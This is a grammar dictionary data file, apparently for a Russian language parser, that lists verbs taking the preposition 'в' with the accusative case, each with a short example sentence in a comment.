rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
